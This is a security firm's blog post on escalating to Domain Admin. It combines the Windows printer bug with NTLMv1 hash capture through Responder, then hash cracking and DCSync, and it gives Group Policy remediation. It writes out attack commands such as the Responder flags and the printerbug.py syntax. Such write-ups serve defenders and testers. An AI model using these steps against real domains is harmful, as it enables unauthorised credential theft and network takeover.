Experts Blog

Elevating with NTLMv1 and the Printer Bug
Matthew Creel

Combining the Printer Bug and NTLMv1 to Elevate to Domain Admin

Introduction

On multiple penetration test engagements in the last few months, I have encountered what I previously thought to be a rather rare attack vector: the usage of the printer bug to trigger and capture NTLMv1 (Net-NTLMv1) authentication from a Windows Active Directory Domain Controller. As a penetration tester, the misconfigurations this attack relies on what will be out of your control. However, if successful, this attack lets you elevate to Domain Administrator from any set of compromised domain credentials.  

As this is not a new attack vector (you can find another great guide to this attack here), this post will serve to demonstrate the attack while also documenting how to remediate the vulnerability though Group Policy.

Attack Environment Setup

For the attack to be successful, there are (4) requirements:

  1. Any valid domain account credentials
  1. Network connectivity to the targets SMB (Server Message Block) Service.
  1. The target host must be running the Print Spooler service
  1. The target host must be allowed to send NTLMv1 responses (cannot be set to enforce NTLMv2 responses)

The first two requirements are a low barrier for most penetration tests. The last two will simply depend on the current network environment. Permitting NTLMv1 authentication is an insecure policy that might be encountered elsewhere on a penetration test (LLMNR and NBT-NS poisoning attacks), but it’s particularly impactful if it can be leveraged in conjunction with the printer bug.

In my lab setup, I will be working with credentials for WINDOMAIN.LOCAL\lowprivuser and targeting the host DC.WINDOMAIN.LOCAL. To verify the Print Spooler is running on the target, DC.WINDOMAIN.LOCAL, I will check services.msc

This can also be done via command line using sc query:

PowerShell’s Get-PrinterPort can be used to check if Spooler is running on a remote host. The example below uses Cobalt Strike’s powerpick beacon command. (A bunch of errors will be encountered if the remote host is not running Print Spooler.)

To determine if NTLM responses can be sent, I will check secpol.msc at Security Settings\Local Policies\Security Options\Network security: LANManager authentication level. Vulnerable settings can be any of the following:

-      Send LM& NTLM responses

-      Send LM& NTLM – use NTLMv2 session security if negotiated

-      SendNTLM responses only.

This can also be done via command line using reg query:

Microsoft’s mapping of LmCompatibilityLevel settings to registry values can be found here.

Seatbelt, from the GhostPack toolkit, has a NTLMSettings command that can be used to check the LmCompatibilityLevel setting on a remote host.  The example below uses Cobalt Strike’s execute-assembly beacon command to run Seatbelt.

Attack Demo

For testing and exploitation, I will use printerbug.py from the krbrelayx toolkit to coerce authentication and Responder to capture it. The printer bug is a “feature” of the MS-RPRN protocol (PrintSystem Remote Protocol), through which any domain user can remotely force a target running the Print Spooler service to authenticate to an arbitrary IP address.

First, ensure that Responder’s challenge is set to 1122334455667788 in Responder.conf:

Then kick off Responder: ./Responder.py -I <Interface>

And finally, trigger authentication using the printer bug with any domain user credentials (I will be using WINDOMAIN.LOCAL\lowprivuser):

python3 printerbug.py<domain>/<username>:<password>@<target> <IP ofResponder listener>

It will look like this if successful:

So, what happened? The printer bug caused the target to authenticate back to the attacker-supplied IP, where the machine account’s hash was captured with Responder. The hash type is identified as NTLMv1-SSP, which is important because the attack cannot proceed if a NTLMv2 (Net-NTLMv2) hash is captured instead. Also, notice how the two response portions of the hash do not match

This is because the captured hash is NTLMv1 with SSP(Security Support Provider), which changes the server challenge and is not quite ideal for the attack. We can use Responder’s LanMan downgrade flag to get aNTLMv1 hash without SSP.

Note: The lab DC is running Windows Server 2016. The LanMan downgrade portion of the attack may not work against Windows Server 2019 or newer.

Let’s restart Responder, including the LanMan downgrade flag: ./Responder -I <Interface> --lm

Now the printer bug can be triggered again to capture a plain NTLMv1 hash, without SSP. Notice how the two response portions of the hash are now identical:

Now that the DC’s NTLMv1 hash has been captured, it can be cracked back into a plain NTLM hash, compatible with pass-the-hash attacks.This can be done quickly by submitting NTHASH:<response>to crack.sh, which uses rainbow tables, or by manually reconstructing the NTLM hash from its DES elements using hashcat and EvilMog’s ntlmv1-multi tool (my hashcat rig with an NVIDIA 3090 takes around 16 days to brute-force the needed DES hashes). Either method will allow you to obtain the machine account’s NTLM hash for pass-the-hash attacks

Impact

Once the DC’s NTLM hash has been reconstructed, a DCSync attack can be executed to steal the NTLM hash of a Domain Administrator (or any desired user). In short, a DCSync attack allows an attacker to emulate the behavior of a domain controller by requesting the replication of a user object from a DC. The data returned from the attack includes the current password hash for the targeted account. In my lab, I have used the compromised DC hash to run a DCSync attack targeting the domain administrator, vagrant:

Side note: the target host in the lab is a domain controller, which makes the DCSync attack possible once the machine account’s NTLM hash is compromised. If the target is not a domain controller, a silver ticket can be constructed instead, granting admin access to the host.

Remediation

There are two (2) configuration issues to address, both of which can be changed via Group Policy:

1.    Enforcing the usage of NTLMv2 authentication -The NTLMv2 hashing algorithm does not use an account’s NTLM hash, unlike the NTLMv1 algorithm. The NTLM hash used in pass-the-hash attacks cannot be derived from a NTLMv2 hash.

2.    Disabling the Print Spooler service - This service should only be running on print servers. When running, it is possible for any authenticated user to trigger the printer bug.

Technically, addressing either one will negate this attack vector. However, both remediations should be implemented to protect against other attacks that leverage only one of these configurations.

Enforcing NTLMv2

Open gpmc.msc on a domain controller and begin a new group policy linked to the desired OUs (I will add a new GPO titled Enforce NTLMv2, linked to the Domain Controllers OU).

The setting to edit is ComputerConfiguration\Policies\Windows Settings\Security Settings\Local Policies\SecurityOptions\Network security: LAN Manager authentication level. Setting this to any of the three (3) options that specify Send NTLMv2 response only will prevent NTLMv1 authentication from being used

Warning: If any applications rely on NTLMv1 authentication, this GPO will break that functionality. It is recommended to test this policy before deploying across the environment.

After running a quick gpupdate from a command prompt, executing the printer bug confirms that a NTLMv2 hash is now captured:

This NTLMv2 hash cannot be used in the NTLM downgrade attack and should not be cracked since its password is set by Windows. Now that NTLMv2 is required, an additional policy can be created to prevent the printer bug from coercing authentication.

 

Disabling the Print Spooler Service

Open gpmc.msc on a domain controller and begin a new group policy linked to the desired OUs. In the lab, I will add a new GPO titled Disable Print Spooler, linked to the Domain Controllers OU.

The setting to edit is ComputerConfiguration\Policies\Windows Settings\Security Settings\System Services\PrintSpooler. Set this to Disabled to stop the service from running and prevent the printer bug from being leveraged.

Warning: The Print Spooler service is responsible for handling print job management. Disabling this service on print servers may result in a loss of functionality.

 After running another gpupdate from a command prompt, testing the printer bug confirms that it fails to execute, as no authentication is captured:

Wrap-Up

This is a sneaky good privilege escalation vector that is often overlooked during internal engagements. While applying either one of the discussed remediations to a host will protect against this attack, I highly encourage both remediations to be deployed as widely as organizational requirements will allow for.

 

References

https://github.com/NotMedic/NetNTLMtoSilverTicket

https://crack.sh/netntlm/

https://github.com/lgandx/responder

https://github.com/dirkjanm/krbrelayx

https://github.com/leechristensen/SpoolSample

https://twitter.com/tifkin_/status/1407044550015782915

https://github.com/GhostPack/Seatbelt

https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1

 

For additional information on FortaliceSolutions service offerings, contact the team via email at watchmen@fortalicesolutions.com